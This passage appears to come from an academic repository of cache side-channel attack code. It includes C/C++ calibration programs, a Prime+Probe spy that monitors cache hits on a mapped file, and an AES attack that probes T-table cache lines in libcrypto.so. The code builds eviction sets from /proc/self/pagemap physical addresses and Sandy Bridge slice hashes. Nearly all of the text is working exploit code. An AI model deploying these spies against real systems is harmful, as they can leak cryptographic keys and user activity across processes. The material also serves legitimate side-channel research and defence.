te0)? 0 : -6)) 99 | // this is a dirty hack, better: do 1 preprocessing run right after set_encrypt_key, find the 4 cache lines where you don't see 100 | // any timing difference at all, these are the 4 offsets where you want to subtract the same slice difference you get from the 101 | // histogram (-6 on my machine) 102 | ++count; 103 | } 104 | timings[probe][byte] = count; 105 | } 106 | } 107 | 108 | for (auto ait : timings) 109 | { 110 | printf("%p", (void*) (ait.first - base)); 111 | for (auto kit : ait.second) 112 | { 113 | printf(",%lu", kit.second); 114 | } 115 | printf("\n"); 116 | } 117 | 118 | close(fd); 119 | munmap(base, map_size); 120 | fflush(stdout); 121 | return 0; 122 | } 123 | 124 | -------------------------------------------------------------------------------- /histogram/pp/calibration.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "../cacheutils.h" 9 | 10 | size_t array[5*1024]; 11 | 12 | size_t hit_histogram[600]; 13 | size_t miss_histogram[600]; 14 | uint8_t eviction[64*1024*1024]; 15 | uint8_t* eviction_ptr; 16 | 17 | int pagemap = -1; 18 | 19 | uint64_t GetPageFrameNumber(int pagemap, uint8_t* virtual_address) { 20 | // Read the entry in the pagemap. 21 | uint64_t value; 22 | int got = pread(pagemap, &value, 8,(((uintptr_t)virtual_address) / 0x1000) * 8); 23 | assert(got == 8); 24 | uint64_t page_frame_number = value & ((1ULL << 54)-1); 25 | return page_frame_number; 26 | } 27 | 28 | int get_cache_slice(uint64_t phys_addr, int bad_bit) { 29 | static const int h0[] = { 6, 10, 12, 14, 16, 17, 18, 20, 22, 24, 25, 26, 27, 28, 30, 32, 33, 35, 36 }; 30 | static const int h1[] = { 7, 11, 13, 15, 17, 19, 20, 21, 22, 23, 24, 26, 28, 29, 31, 33, 34, 35, 37 }; 31 | 32 | int count = sizeof(h0) / sizeof(h0[0]); 33 | int hash = 0; 34 | for (int i = 0; i < count; i++) { 35 | hash ^= (phys_addr >> h0[i]) & 1; 36 | } 37 | count = sizeof(h1) / sizeof(h1[0]); 38 | int hash1 = 0; 39 | for (int i = 0; i < count; i++) { 40 | hash1 ^= (phys_addr >> h1[i]) & 1; 41 | } 42 | return hash1 << 1 | hash; 43 | } 44 | 45 | int in_same_cache_set(uint64_t phys1, uint64_t phys2, int bad_bit) { 46 | // For Sandy Bridge, the bottom 17 bits determine the cache set 47 | // within the cache slice (or the location within a cache line). 48 | uint64_t mask = ((uint64_t) 1 << 17) - 1; 49 | return ((phys1 & mask) == (phys2 & mask) && 50 | get_cache_slice(phys1, bad_bit) == get_cache_slice(phys2, bad_bit)); 51 | } 52 | 53 | int g_pagemap_fd = -1; 54 | 55 | // Extract the physical page number from a Linux /proc/PID/pagemap entry. 56 | uint64_t frame_number_from_pagemap(uint64_t value) { 57 | return value & ((1ULL << 54) - 1); 58 | } 59 | 60 | void init_pagemap() { 61 | g_pagemap_fd = open("/proc/self/pagemap", O_RDONLY); 62 | assert(g_pagemap_fd >= 0); 63 | } 64 | 65 | uint64_t get_physical_addr(uint64_t virtual_addr) { 66 | uint64_t value; 67 | off_t offset = (virtual_addr / 4096) * sizeof(value); 68 | int got = pread(g_pagemap_fd, &value, sizeof(value), offset); 69 | assert(got == 8); 70 | 71 | // Check the "page present" flag. 72 | assert(value & (1ULL << 63)); 73 | 74 | uint64_t frame_num = frame_number_from_pagemap(value); 75 | return (frame_num * 4096) | (virtual_addr & (4095)); 76 | } 77 | 78 | #define ADDR_COUNT 1024 79 | 80 | volatile uint64_t* faddrs[ADDR_COUNT]; 81 | #define PROBE_COUNT 10 82 | int found = 1; 83 | 84 | void pick(volatile uint64_t** addrs, int step) 85 | { 86 | uint8_t* buf = (uint8_t*) addrs[0]; 87 | uint64_t phys1 = get_physical_addr((uint64_t)buf); 88 | //printf("%zx -> %zx\n",(uint64_t) buf, phys1); 89 | for (size_t i = 0; i < 64*1024*1024-4096; i += 4096) { 90 | uint64_t phys2 = get_physical_addr((uint64_t)(eviction_ptr + i)); 91 | if (phys1 != phys2 && in_same_cache_set(phys1, phys2, -1)) { 92 | addrs[found] = (uint64_t*)(eviction_ptr+i); 93 | //printf("%zx -> %zx\n",(uint64_t) eviction_ptr+i, phys2); 94 | //*(addrs[found-1]) = addrs[found]; 95 | found++; 96 | } 97 | } 98 | fflush(stdout); 99 | } 100 | size_t rev = 0; 101 | size_t onlyreload(void* addr) // cached 102 | { 103 | size_t time,delta; 104 | time = rdtsc(); 105 | for (size_t i = 1; i < PROBE_COUNT; ++i) 106 | { 107 | *faddrs[i]; 108 | *faddrs[i+1]; 109 | *faddrs[i+2]; 110 | *faddrs[i]; 111 | *faddrs[i+1]; 112 | *faddrs[i+2]; 113 | } 114 | delta = rdtsc() - time; 115 | maccess(addr); 116 | maccess(addr); 117 | return delta; 118 | } 119 | 120 | size_t flushandreload(void* addr) // not cached 121 | { 122 | size_t time,delta; 123 | time = rdtsc(); 124 | for (size_t i = 1; i < PROBE_COUNT; ++i) 125 | { 126 | *faddrs[i]; 127 | *faddrs[i+1]; 128 | *faddrs[i+2]; 129 | *faddrs[i]; 130 | *faddrs[i+1]; 131 | *faddrs[i+2]; 132 | } 133 | delta = rdtsc() - time; 134 | return delta; 135 | } 136 | 137 | int main(int argc, char** argv) 138 | { 139 | memset(array,-1,5*1024*sizeof(size_t)); 140 | maccess(array + 2*1024); 141 | faddrs[0] = (uint64_t*) (array + 2*1024); 142 | printf("init\n"); 143 | for (size_t i = 0; i < 64*1024*1024; ++i) 144 | eviction[i] = i; 145 | eviction_ptr = (uint8_t*)(((size_t)eviction & ~0xFFF) | ((size_t)faddrs[0] & 0xFFF)); 146 | printf("init pm\n"); 147 | init_pagemap(); 148 | printf("eviction set\n"); 149 | pick(faddrs,+1); 150 | printf("eviction set size = %zu\n", found); 151 | printf("start\n"); 152 | maccess(array + 2*1024); 153 | sched_yield(); 154 | for (int i = 0; i < 1*512*1024; ++i) 155 | { 156 | size_t d = onlyreload(array+2*1024); 157 | hit_histogram[MIN(299,d/5)]++; 158 | for (size_t i = 0; i < 30; ++i) 159 | sched_yield(); 160 | } 161 | flush(array+1024); 162 | for (int i = 0; i < 1*512*1024; ++i) 163 | { 164 | size_t d = flushandreload(array+2*1024); 165 | miss_histogram[MIN(299,d/5)]++; 166 | for (size_t i = 0; i < 30; ++i) 167 | sched_yield(); 168 | } 169 | printf(".\n"); 170 | size_t hit_max = 0; 171 | size_t hit_max_i = 0; 172 | size_t miss_min_i = 0; 173 | for (size_t i = 0; i < 300; ++i) 174 | { 175 | printf("%4zu: %10zu %10zu\n",5*i,hit_histogram[i],miss_histogram[i]); 176 | } 177 | return 0; 178 | } 179 | -------------------------------------------------------------------------------- /sc/pp/spy.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include "../cacheutils.h" 16 | 17 | size_t start = 0; 18 | size_t keystate = 0; 19 | size_t kpause = -1ULL; 20 | 21 | uint8_t eviction[64*1024*1024]; 22 | uint8_t* eviction_ptr; 23 | 24 | int pagemap = -1; 25 | 26 | uint64_t GetPageFrameNumber(int pagemap, uint8_t* virtual_address) { 27 | // Read the entry in the pagemap. 28 | uint64_t value; 29 | int got = pread(pagemap, &value, 8,(((uintptr_t)virtual_address) / 0x1000) * 8); 30 | assert(got == 8); 31 | uint64_t page_frame_number = value & ((1ULL << 54)-1); 32 | return page_frame_number; 33 | } 34 | 35 | int get_cache_slice(uint64_t phys_addr, int bad_bit) { 36 | static const int h0[] = { 6, 10, 12, 14, 16, 17, 18, 20, 22, 24, 25, 26, 27, 28, 30, 32, 33, 35, 36 }; 37 | static const int h1[] = { 7, 11, 13, 15, 17, 19, 20, 21, 22, 23, 24, 26, 28, 29, 31, 33, 34, 35, 37 }; 38 | 39 | int count = sizeof(h0) / sizeof(h0[0]); 40 | int hash = 0; 41 | for (int i = 0; i < count; i++) { 42 | hash ^= (phys_addr >> h0[i]) & 1; 43 | } 44 | count = sizeof(h1) / sizeof(h1[0]); 45 | int hash1 = 0; 46 | for (int i = 0; i < count; i++) { 47 | hash1 ^= (phys_addr >> h1[i]) & 1; 48 | } 49 | return hash1 << 1 | hash; 50 | } 51 | 52 | int in_same_cache_set(uint64_t phys1, uint64_t phys2, int bad_bit) { 53 | // For Sandy Bridge, the bottom 17 bits determine the cache set 54 | // within the cache slice (or the location within a cache line). 55 | uint64_t mask = ((uint64_t) 1 << 17) - 1; 56 | return ((phys1 & mask) == (phys2 & mask) && 57 | get_cache_slice(phys1, bad_bit) == get_cache_slice(phys2, bad_bit)); 58 | } 59 | 60 | int g_pagemap_fd = -1; 61 | 62 | // Extract the physical page number from a Linux /proc/PID/pagemap entry. 63 | uint64_t frame_number_from_pagemap(uint64_t value) { 64 | return value & ((1ULL << 54) - 1); 65 | } 66 | 67 | void init_pagemap() { 68 | g_pagemap_fd = open("/proc/self/pagemap", O_RDONLY); 69 | assert(g_pagemap_fd >= 0); 70 | } 71 | 72 | uint64_t get_physical_addr(uint64_t virtual_addr) { 73 | uint64_t value; 74 | off_t offset = (virtual_addr / 4096) * sizeof(value); 75 | int got = pread(g_pagemap_fd, &value, sizeof(value), offset); 76 | assert(got == 8); 77 | 78 | // Check the "page present" flag. 79 | assert(value & (1ULL << 63)); 80 | 81 | uint64_t frame_num = frame_number_from_pagemap(value); 82 | return (frame_num * 4096) | (virtual_addr & (4095)); 83 | } 84 | 85 | #define ADDR_COUNT 1024 86 | 87 | volatile uint64_t* faddrs[ADDR_COUNT]; 88 | #define PROBE_COUNT 9 89 | int found = 1; 90 | 91 | void pick(volatile uint64_t** addrs, int step) 92 | { 93 | uint8_t* buf = (uint8_t*) addrs[0]; 94 | uint64_t phys1 = get_physical_addr((uint64_t)buf); 95 | // printf("%zx -> %zx\n",(uint64_t) buf, phys1); 96 | for (size_t i = 0; i < 64*1024*1024-4096; i += 4096) { 97 | uint64_t phys2 = get_physical_addr((uint64_t)(eviction_ptr + i)); 98 | if (phys1 != phys2 && in_same_cache_set(phys1, phys2, -1)) { 99 | addrs[found] = (uint64_t*)(eviction_ptr+i); 100 | // printf("%zx -> %zx\n",(uint64_t) eviction_ptr+i, phys2); 101 | found++; 102 | } 103 | } 104 | fflush(stdout); 105 | } 106 | 107 | size_t rev = 0; 108 | size_t kcount = 0; 109 | void flushandreload(void* addr) 110 | { 111 | size_t time,delta; 112 | if (rev == 0) 113 | { 114 | time = rdtsc(); 115 | for (size_t i = 1; i < PROBE_COUNT; ++i) 116 | { 117 | *faddrs[i]; 118 | *faddrs[i+1]; 119 | *faddrs[i+2]; 120 | *faddrs[i]; 121 | *faddrs[i+1]; 122 | *faddrs[i+2]; 123 | } 124 | delta = rdtsc() - time; 125 | rev = 1; 126 | } 127 | else 128 | { 129 | time = rdtsc(); 130 | for (size_t i = PROBE_COUNT-1; i > 0; --i) 131 | { 132 | *faddrs[i+2]; 133 | *faddrs[i+1]; 134 | *faddrs[i]; 135 | *faddrs[i+2]; 136 | *faddrs[i+1]; 137 | *faddrs[i]; 138 | } 139 | delta = rdtsc() - time; 140 | rev = 0; 141 | } 142 | if (delta > 230) 143 | { 144 | kcount++; 145 | if (kcount > 3) 146 | { 147 | printf("Cache Hit (%zu) after %10lu cycles, t=%10lu us\n", delta, kpause, (time-start)/2600); 148 | } 149 | kpause = 0; 150 | } 151 | else 152 | { 153 | kpause++; 154 | kcount = 0; 155 | } 156 | } 157 | 158 | int main(int argc, char** argv) 159 | { 160 | char* name = argv[1]; 161 | char* offsetp = argv[2]; 162 | if (argc != 3) 163 | return 1; 164 | unsigned int offset = 0; 165 | !sscanf(offsetp,"%x",&offset); 166 | int fd = open(name,O_RDONLY); 167 | if (fd < 3) 168 | return 2; 169 | unsigned char* addr = (unsigned char*)mmap(0, 64*1024*1024, PROT_READ, MAP_SHARED, fd, 0); 170 | if (addr == (void*)-1) 171 | return 3; 172 | faddrs[0] = (uint64_t*) addr; 173 | maccess(addr); 174 | printf("init\n"); 175 | for (size_t i = 0; i < 64*1024*1024; ++i) 176 | eviction[i] = i; 177 | eviction_ptr = (uint8_t*)(((size_t)eviction & ~0xFFF) | ((size_t)faddrs[0] & 0xFFF)); 178 | printf("init pm\n"); 179 | init_pagemap(); 180 | printf("eviction set\n"); 181 | pick(faddrs,+1); 182 | printf("eviction set size = %zu\n", found); 183 | printf("start\n"); 184 | start = rdtsc(); 185 | while(1) 186 | { 187 | flushandreload(addr + offset); 188 | for (int i = 0; i < 3000; ++i) 189 | sched_yield(); 190 | } 191 | return 0; 192 | } 193 | -------------------------------------------------------------------------------- /histogram/ppc/calibration.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "../cacheutils.h" 9 | 10 | size_t array[5*1024]; 11 | 12 | size_t hit_histogram[600]; 13 | size_t miss_histogram[600]; 14 | uint8_t eviction[64*1024*1024]; 15 | uint8_t* eviction_ptr; 16 | 17 | int pagemap = -1; 18 | 19 | uint64_t GetPageFrameNumber(int pagemap, uint8_t* virtual_address) { 20 | // Read the entry in the pagemap. 21 | uint64_t value; 22 | int got = pread(pagemap, &value, 8,(((uintptr_t)virtual_address) / 0x1000) * 8); 23 | assert(got == 8); 24 | uint64_t page_frame_number = value & ((1ULL << 54)-1); 25 | return page_frame_number; 26 | } 27 | 28 | int get_cache_slice(uint64_t phys_addr, int bad_bit) { 29 | static const int h0[] = { 6, 10, 12, 14, 16, 17, 18, 20, 22, 24, 25, 26, 27, 28, 30, 32, 33, 35, 36 }; 30 | static const int h1[] = { 7, 11, 13, 15, 17, 19, 20, 21, 22, 23, 24, 26, 28, 29, 31, 33, 34, 35, 37 }; 31 | 32 | int count = sizeof(h0) / sizeof(h0[0]); 33 | int hash = 0; 34 | for (int i = 0; i < count; i++) { 35 | hash ^= (phys_addr >> h0[i]) & 1; 36 | } 37 | count = sizeof(h1) / sizeof(h1[0]); 38 | int hash1 = 0; 39 | for (int i = 0; i < count; i++) { 40 | hash1 ^= (phys_addr >> h1[i]) & 1; 41 | } 42 | return hash1 << 1 | hash; 43 | } 44 | 45 | int in_same_cache_set(uint64_t phys1, uint64_t phys2, int bad_bit) { 46 | // For Sandy Bridge, the bottom 17 bits determine the cache set 47 | // within the cache slice (or the location within a cache line). 48 | uint64_t mask = ((uint64_t) 1 << 17) - 1; 49 | return ((phys1 & mask) == (phys2 & mask) && 50 | get_cache_slice(phys1, bad_bit) == get_cache_slice(phys2, bad_bit)); 51 | } 52 | 53 | int g_pagemap_fd = -1; 54 | 55 | // Extract the physical page number from a Linux /proc/PID/pagemap entry. 56 | uint64_t frame_number_from_pagemap(uint64_t value) { 57 | return value & ((1ULL << 54) - 1); 58 | } 59 | 60 | void init_pagemap() { 61 | g_pagemap_fd = open("/proc/self/pagemap", O_RDONLY); 62 | assert(g_pagemap_fd >= 0); 63 | } 64 | 65 | uint64_t get_physical_addr(uint64_t virtual_addr) { 66 | uint64_t value; 67 | off_t offset = (virtual_addr / 4096) * sizeof(value); 68 | int got = pread(g_pagemap_fd, &value, sizeof(value), offset); 69 | assert(got == 8); 70 | 71 | // Check the "page present" flag. 72 | assert(value & (1ULL << 63)); 73 | 74 | uint64_t frame_num = frame_number_from_pagemap(value); 75 | return (frame_num * 4096) | (virtual_addr & (4095)); 76 | } 77 | 78 | #define ADDR_COUNT 40 79 | 80 | volatile uint64_t* faddrs[ADDR_COUNT]; 81 | #define PROBE_COUNT 5 82 | #define PROBE_COUNT_KILL 14 83 | int found = 1; 84 | 85 | void pick(volatile uint64_t** addrs, int step) 86 | { 87 | uint8_t* buf = (uint8_t*) addrs[0]; 88 | uint64_t phys1 = get_physical_addr((uint64_t)buf); 89 | //printf("%zx -> %zx\n",(uint64_t) buf, phys1); 90 | for (size_t i = 0; i < 64*1024*1024-4096; i += 4096) { 91 | uint64_t phys2 = get_physical_addr((uint64_t)(eviction_ptr + i)); 92 | if (phys1 != phys2 && in_same_cache_set(phys1, phys2, -1)) { 93 | addrs[found] = (uint64_t*)(eviction_ptr+i); 94 | //printf("%zx -> %zx\n",(uint64_t) eviction_ptr+i, phys2); 95 | //*(addrs[found-1]) = addrs[found]; 96 | found++; 97 | } 98 | } 99 | fflush(stdout); 100 | } 101 | 102 | size_t onlyreload(void* addr) // cached 103 | { 104 | size_t time = rdtsc(); 105 | for (size_t i = 1; i < PROBE_COUNT; ++i) 106 | { 107 | *faddrs[i]; 108 | *faddrs[i+1]; 109 | *faddrs[i+2]; 110 | *faddrs[i]; 111 | *faddrs[i+1]; 112 | *faddrs[i+2]; 113 | } 114 | size_t delta = rdtsc() - time; 115 | return delta; 116 | } 117 | 118 | size_t flushandreload(void* addr) // not cached 119 | { 120 | for (size_t i = PROBE_COUNT+2; i < 2*PROBE_COUNT_KILL+2; ++i) 121 | { 122 | *faddrs[i]; 123 | *faddrs[i+1]; 124 | *faddrs[i+2]; 125 | *faddrs[i]; 126 | *faddrs[i+1]; 127 | *faddrs[i+2]; 128 | } 129 | size_t time = rdtsc(); 130 | for (size_t i = 1; i < PROBE_COUNT; ++i) 131 | { 132 | *faddrs[i]; 133 | *faddrs[i+1]; 134 | *faddrs[i+2]; 135 | *faddrs[i]; 136 | *faddrs[i+1]; 137 | *faddrs[i+2]; 138 | } 139 | size_t delta = rdtsc() - time; 140 | // flush(faddrs[0]); 141 | return delta; 142 | } 143 | 144 | int main(int argc, char** argv) 145 | { 146 | memset(array,-1,5*1024*sizeof(size_t)); 147 | maccess(array + 2*1024); 148 | faddrs[0] = (uint64_t*) (array + 2*1024); 149 | printf("init\n"); 150 | for (size_t i = 0; i < 64*1024*1024; ++i) 151 | eviction[i] = i; 152 | eviction_ptr = (uint8_t*)(((size_t)eviction & ~0xFFF) | ((size_t)faddrs[0] & 0xFFF)); 153 | printf("init pm\n"); 154 | init_pagemap(); 155 | printf("eviction set\n"); 156 | pick(faddrs,+1); 157 | printf("eviction set size = %zu\n", found); 158 | printf("start\n"); 159 | maccess(array + 2*1024); 160 | sched_yield(); 161 | for (int i = 0; i < 1*1024*1024; ++i) 162 | { 163 | size_t d = onlyreload(array+2*1024); 164 | hit_histogram[MIN(299,d/5)]++; 165 | for (size_t i = 0; i < 30; ++i) 166 | sched_yield(); 167 | } 168 | flush(array+1024); 169 | for (int i = 0; i < 1*1024*1024; ++i) 170 | { 171 | size_t d = flushandreload(array+2*1024); 172 | miss_histogram[MIN(299,d/5)]++; 173 | for (size_t i = 0; i < 30; ++i) 174 | sched_yield(); 175 | } 176 | printf(".\n"); 177 | size_t hit_max = 0; 178 | size_t hit_max_i = 0; 179 | size_t miss_min_i = 0; 180 | for (size_t i = 0; i < 300; ++i) 181 | { 182 | printf("%4zu: %10zu %10zu\n",5*i,hit_histogram[i],miss_histogram[i]); 183 | } 184 | return 0; 185 | } 186 | -------------------------------------------------------------------------------- /aes/pp/spy.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "../../cacheutils.h" 11 | #include 12 | #include 13 | 14 | // this number varies on different systems 15 | #define MIN_CACHE_HIT_CYCLES (420) 16 | 17 | // more encryptions show features more clearly 18 | #define NUMBER_OF_ENCRYPTIONS (1000000) 19 | 20 | uint8_t eviction[64*1024*1024]; 21 | uint8_t* eviction_ptr; 22 | 23 | int pagemap = -1; 24 | 25 | uint64_t GetPageFrameNumber(int pagemap, uint8_t* virtual_address) { 26 | // Read the entry in the pagemap. 27 | uint64_t value; 28 | int got = pread(pagemap, &value, 8,(((uintptr_t)virtual_address) / 0x1000) * 8); 29 | assert(got == 8); 30 | uint64_t page_frame_number = value & ((1ULL << 54)-1); 31 | return page_frame_number; 32 | } 33 | 34 | int get_cache_slice(uint64_t phys_addr, int bad_bit) { 35 | static const int h0[] = { 6, 10, 12, 14, 16, 17, 18, 20, 22, 24, 25, 26, 27, 28, 30, 32, 33, 35, 36 }; 36 | static const int h1[] = { 7, 11, 13, 15, 17, 19, 20, 21, 22, 23, 24, 26, 28, 29, 31, 33, 34, 35, 37 }; 37 | 38 | int count = sizeof(h0) / sizeof(h0[0]); 39 | int hash = 0; 40 | for (int i = 0; i < count; i++) { 41 | hash ^= (phys_addr >> h0[i]) & 1; 42 | } 43 | count = sizeof(h1) / sizeof(h1[0]); 44 | int hash1 = 0; 45 | for (int i = 0; i < count; i++) { 46 | hash1 ^= (phys_addr >> h1[i]) & 1; 47 | } 48 | return hash1 << 1 | hash; 49 | } 50 | 51 | __attribute__((aligned(4096))) int in_same_cache_set(uint64_t phys1, uint64_t phys2, int bad_bit) { 52 | // For Sandy Bridge, the bottom 17 bits determine the cache set 53 | // within the cache slice (or the location within a cache line). 54 | uint64_t mask = ((uint64_t) 1 << 17) - 1; 55 | return ((phys1 & mask) == (phys2 & mask) && 56 | get_cache_slice(phys1, bad_bit) == get_cache_slice(phys2, bad_bit)); 57 | } 58 | 59 | int g_pagemap_fd = -1; 60 | 61 | // Extract the physical page number from a Linux /proc/PID/pagemap entry. 62 | uint64_t frame_number_from_pagemap(uint64_t value) { 63 | return value & ((1ULL << 54) - 1); 64 | } 65 | 66 | void init_pagemap() { 67 | g_pagemap_fd = open("/proc/self/pagemap", O_RDONLY); 68 | assert(g_pagemap_fd >= 0); 69 | } 70 | 71 | uint64_t get_physical_addr(uint64_t virtual_addr) { 72 | uint64_t value; 73 | off_t offset = (virtual_addr / 4096) * sizeof(value); 74 | int got = pread(g_pagemap_fd, &value, sizeof(value), offset); 75 | assert(got == 8); 76 | 77 | // Check the "page present" flag. 78 | assert(value & (1ULL << 63)); 79 | 80 | uint64_t frame_num = frame_number_from_pagemap(value); 81 | return (frame_num * 4096) | (virtual_addr & (4095)); 82 | } 83 | 84 | #define ADDR_COUNT 1024 85 | 86 | volatile uint64_t* faddrs[16][ADDR_COUNT]; 87 | #define PROBE_COUNT 15 88 | 89 | void pick(volatile uint64_t** addrs, int step) 90 | { 91 | int found = 1; 92 | uint8_t* buf = (uint8_t*) addrs[0]; 93 | uint64_t phys1 = get_physical_addr((uint64_t)buf); 94 | //printf("%zx -> %zx\n",(uint64_t) buf, phys1); 95 | for (size_t i = 0; i < 64*1024*1024-4096; i += 4096) { 96 | uint64_t phys2 = get_physical_addr((uint64_t)(eviction_ptr + i)); 97 | if (phys1 != phys2 && in_same_cache_set(phys1, phys2, -1)) { 98 | addrs[found] = (uint64_t*)(eviction_ptr+i); 99 | //printf("%zx -> %zx\n",(uint64_t) eviction_ptr+i, phys2); 100 | //*(addrs[found-1]) = addrs[found]; 101 | found++; 102 | } 103 | } 104 | fflush(stdout); 105 | } 106 | 107 | 108 | unsigned char key[] = 109 | { 110 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 111 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 112 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 113 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 114 | //0x51, 0x4d, 0xab, 0x12, 0xff, 0xdd, 0xb3, 0x32, 0x52, 0x8f, 0xbb, 0x1d, 0xec, 0x45, 0xce, 0xcc, 0x4f, 0x6e, 0x9c, 115 | //0x2a, 0x15, 0x5f, 0x5f, 0x0b, 0x25, 0x77, 0x6b, 0x70, 0xcd, 0xe2, 0xf7, 0x80 116 | }; 117 | 118 | size_t sum; 119 | size_t scount; 120 | 121 | std::map > timings; 122 | 123 | char* base; 124 | char* probe; 125 | char* end; 126 | 127 | 128 | void prime(volatile register size_t idx) // cached 129 | { 130 | for (volatile register size_t i = 1; i < PROBE_COUNT+((idx == 11 || idx == 12)?-1:0); ++i) 131 | { 132 | *faddrs[idx][i]; 133 | *faddrs[idx][i+1]; 134 | *faddrs[idx][i+2]; 135 | *faddrs[idx][i]; 136 | *faddrs[idx][i+1]; 137 | *faddrs[idx][i+2]; 138 | } 139 | } 140 | 141 | 142 | int main() 143 | { 144 | int fd = open("./libcrypto.so", O_RDONLY); 145 | size_t size = lseek(fd, 0, SEEK_END); 146 | if (size == 0) 147 | exit(-1); 148 | size_t map_size = size; 149 | if (map_size & 0xFFF != 0) 150 | { 151 | map_size |= 0xFFF; 152 | map_size += 1; 153 | } 154 | base = (char*) mmap(0, map_size, PROT_READ, MAP_SHARED, fd, 0); 155 | end = base + size; 156 | 157 | unsigned char plaintext[] = 158 | { 159 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 160 | }; 161 | unsigned char ciphertext[128]; 162 | unsigned char restoredtext[128]; 163 | 164 | AES_KEY key_struct; 165 | 166 | AES_set_encrypt_key(key, 128, &key_struct); 167 | 168 | AES_encrypt(plaintext, ciphertext, &key_struct); 169 | 170 | for (size_t i = 0; i < 64*1024*1024; ++i) 171 | eviction[i] = i; 172 | 173 | for (probe = base + 0x16c940; probe < base + 0x16cd40; probe += 64) // 16 174 | maccess(probe); 175 | 176 | printf("init pm\n"); 177 | init_pagemap(); 178 | 179 | for (probe = base + 0x16c940; probe < base + 0x16cd40; probe += 64) // 16 180 | { 181 | faddrs[(size_t)(probe-base-0x16c940)/64][0] = (uint64_t*) probe; 182 | } 183 | 184 | uint64_t min_time = rdtsc(); 185 | srand(min_time); 186 | sum = 0; 187 | for (size_t byte = 0; byte < 256; byte += 16) 188 | { 189 | plaintext[0] = byte; 190 | //plaintext[1] = byte; 191 | //plaintext[2] = byte; 192 | //plaintext[3] = byte; 193 | 194 | AES_encrypt(plaintext, ciphertext, &key_struct); 195 | 196 | for (probe = base + 0x16c940; probe < base + 0x16cd40; probe += 64) // 16 197 | { 198 | if (faddrs[(size_t)(probe-base-0x16c940)/64][1] == 0) 199 | { 200 | eviction_ptr = (uint8_t*)(((size_t)eviction & ~0xFFF) | ((size_t)faddrs[(size_t)(probe-base-0x16c940)/64][0] & 0xFFF)); 201 | pick(faddrs[(probe-base-0x16c940)/64],1); 202 | } 203 | size_t count = 0; 204 | for (size_t i = 0; i < NUMBER_OF_ENCRYPTIONS; ++i) 205 | { 206 | sched_yield(); 207 | for (size_t j = 1; j < 16; ++j) 208 | plaintext[j] = rand() % 256; 209 | AES_encrypt(plaintext, ciphertext, &key_struct); 210 | sched_yield(); 211 | size_t time = rdtsc(); 212 | prime(((size_t)(probe-base-0x16c940))/64); 213 | size_t delta = rdtsc() - time; 214 | if (delta >= MIN_CACHE_HIT_CYCLES) 215 | ++count; 216 | } 217 | timings[probe][byte] = count; 218 | } 219 | } 220 | 221 | for (auto ait : timings) 222 | { 223 | printf("%p", (void*) (ait.first - base)); 224 | for (auto kit : ait.second) 225 | { 226 | printf(",%lu", kit.second); 227 | } 228 | printf("\n"); 229 | } 230 | 231 | close(fd); 232 | munmap(base, map_size); 233 | fflush(stdout); 234 | return 0; 235 | } 236 | 237 | --------------------------------------------------------------------------------